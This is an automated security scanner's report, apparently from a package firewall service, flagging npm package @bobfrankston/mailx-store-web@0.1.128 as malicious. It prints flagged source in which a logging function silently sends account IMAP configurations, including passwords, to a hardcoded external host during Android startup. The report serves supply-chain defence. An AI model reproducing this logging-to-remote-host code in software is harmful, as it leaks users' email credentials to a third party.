Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.128: Malicious npm security | LPM Firewall

registry / @bobfrankston/mailx-store-web / 0.1.128

@bobfrankston/mailx-store-web@0.1.128

AI Security Review

scanned 5d ago · by lpm-firewall-ai

Android startup exports credential-bearing account configuration to a hardcoded logging receiver. The send occurs even before disabled accounts are skipped.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Calling initAndroid and successfully loading cloud accounts.

Impact

Account passwords and identifying metadata within the first 800 message characters are exposed to the external receiver.

Mechanism

Startup serializes each account's IMAP configuration, including its password, and passes it to a logger that sends an encoded, truncated message through fetch.

Attack narrative

Android initialization reads cloud account settings and normalizes their existing passwords into the IMAP configuration. It serializes that configuration into a remote log before checking whether the account is enabled. The logger automatically sends the message to rmf39.aaz.lt, suppressing request failures. This exposes credentials to a receiver separate from their intended mail service without a logging consent gate.

AI rationale

Inspected source establishes an active, default credential export during Android initialization, independent of the scanner's similarity claims. The hardcoded remote logging sink receives serialized password-bearing configuration rather than ordinary authentication to the mail service.

Evidence

android-bootstrap.jsweb-settings.jsaccounts.jsonc

Network endpoints1

rmf39.aaz.lt

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.126 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.126 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ac36a9f8c65aab72 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.126 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.126 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

1505const gdriveAccounts = await loadAccountsFromCloud(); console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`); if (gdriveAccounts.length > 0) { // Use canonical GDrive

High

Ai Review Evidence

Android initialization loads cloud accounts and logs their complete IMAP configuration before checking whether each account is enabled.

android-bootstrap.jsView on unpkg · L1505

1513for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) { vlog(`init: ${account.id} disabl

High

Ai Review Evidence

Android initialization loads cloud accounts and logs their complete IMAP configuration before checking whether each account is enabled.

android-bootstrap.jsView on unpkg · L1513

46function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); } catch { /* ignore */ } } /** C156: user-visible bootstrap na

High

Ai Review Evidence

The logger sends the first 800 characters to the hardcoded external host rmf39.aaz.lt without an opt-in gate.

android-bootstrap.jsView on unpkg · L46

web-settings.jsView file

469export async function loadAccountsFromCloud() { const content = await gDriveRead("accounts.jsonc"); if (content) { await idbWrite("accounts.jsonc", content); try { const data = parseJsonc(content); const raw = data.accounts || (Array.isArray(data) ? data : []); return raw.map((a) => normalizeAccount(a, data.name)); } catch

High

Ai Review Evidence

Cloud account normalization preserves existing IMAP passwords, so the logged configuration contains credentials.

web-settings.jsView on unpkg · L469

Source & flagged code

7 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.126 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.126 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ac36a9f8c65aab72 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.126 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.126 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

Lines 26-66javascript

26let service;

27let syncManager;

28const eventHandlers = [];

29// ── Event emitter ──

30function emitEvent(event) {

31 for (const

web-settings.jsView file

Lines 449-489javascript

449 catch (e) {

450 console.warn(`[settings] Cached accounts.jsonc parse failed: ${e.message}`);

451 }

452 }

453 // Try GDrive

454 const content

Lines 1485-1533javascript

1485 const lr = await fetch(`https://www.googleapis.com/drive/v3/files?q='${folderId}'+in+parents+and+trashed%3Dfalse&fields=files(id,name,mimeType,owners(emailAddress))`, { headers: { "Authorization": `Bearer ${tk}` } });

1486 if (lr.ok) {

1487 const ld = await lr.json();

1488 const names = (ld.files || []).map((f) => `${f.name}(${f.owners?.[0]?.emailAddress || "?"})`).join(","

1489 console.log(`[android] Folder contents: ${ld.files?.length || 0} files [${names}]`);

1490 }

1491 else {

1492 console.warn(`[android] List folder failed: ${lr.status}`);

1493 }

1494 }

1495 catch (e) {

1496 console.warn(`[android] List debug: ${e.message}`);

1497 }

1498 // Shared allowlist/preferences: pull NOW that Drive auth is

1499 // live, instead of waiting for the first message read to

1500 // trigger the lazy revalidate (which is itself served stale).

1501 primeSharedConfigs()

1502 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1503 // Read accounts directly from GDrive (bypass IndexedDB cache)

1504 narrate("Loading accounts from Google Drive…");

1505 const gdriveAccounts = await loadAccountsFromCloud();

1506 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1507 if (gdriveAccounts.length > 0) {

1508 // Use canonical GDrive accounts (upsert handles overwrites)

High

Ai Review Evidence

Android initialization loads cloud accounts and logs their complete IMAP configuration before checking whether each account is enabled.

android-bootstrap.jsView on unpkg · L1505

1509 accounts = gdriveAccounts;

1510 const enabled = accounts.filter(a => a.enabled);

1511 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1512 let setUp = 0;

1513 for (const account of accounts) {

1514 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

1515 if (!account.enabled) {

1516 vlog(`init: ${account.id} disabled, skipping`);

High

Ai Review Evidence

Android initialization loads cloud accounts and logs their complete IMAP configuration before checking whether each account is enabled.

android-bootstrap.jsView on unpkg · L1513

1517 continue;

1518 }

1519 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1520 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1521 if (domain === "gmail.com" || domain === "googlemail.com") {

1522 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1523 }

1524 await syncManager.addAccount(account);

1525 }

1526 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1527 // C157: sync NOW. The boot-time syncAll ran before these

1528 // providers existed (fresh install: zero local accounts),

1529 // so without this kick the folder tree stayed empty until

1530 // the next 60 s poll tick — on top of OAuth consent time,

1531 // that read as "frozen for minutes". syncAll's inbox

1532 // phase lists folders first, so the tree paints in

1533 // seconds; message counts stream in behind.